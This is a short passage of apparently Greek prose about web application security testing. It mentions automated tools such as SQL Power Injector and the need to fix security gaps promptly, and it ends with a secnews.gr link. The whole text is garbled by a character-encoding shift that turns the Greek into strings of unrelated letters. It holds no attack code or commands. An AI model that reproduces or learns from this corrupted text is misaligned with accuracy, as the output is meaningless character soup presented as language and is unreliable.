ρξεζηκνπνηήζνπκε θαη νξηζκέλα απηόκαηα εξγαιεία κεξηθά από ηα νπνία παξέρνληαη θαη ζην 

δηαδίθηπν.Δηδηθόηεξα,ππάξρνπλ δηαζέζηκα ζηελ αγνξά αξθεηέο δεθάδεο εξγαιεία γηα ηνλ 

έιεγρν ησλ δηαδηθηπαθώλ καο εθαξκνγώλ όπσο ην SQL Power Injector.Σα εξγαιεία ειέγρσλ 

αζθάιεηαο είλαη αξθεηά ρξήζηκα γηα ηε δηεμαγσγή επηηπρεκέλσλ ειέγρσλ θαη πιένλ είλαη 

αξθεηά εύθνια ζηε ρξήζε.Γεληθά,εμαηηίαο ηνπ γεγνλόηνο όηη ν επηηηζέκελνο έρεη ηε 

δπλαηόηεηα λα ηξνπνπνηήζεη παξακέηξνπο ζηε ζειίδα αλ εηζέιζεη,θξίλεηαη επηηαθηηθό ηα 

όπνηα θελά αζθαιείαο ππάξρνπλ λα δηνξζώλνληαη εγθαίξσο. 

  

http://www.secnews.gr/archives/13864
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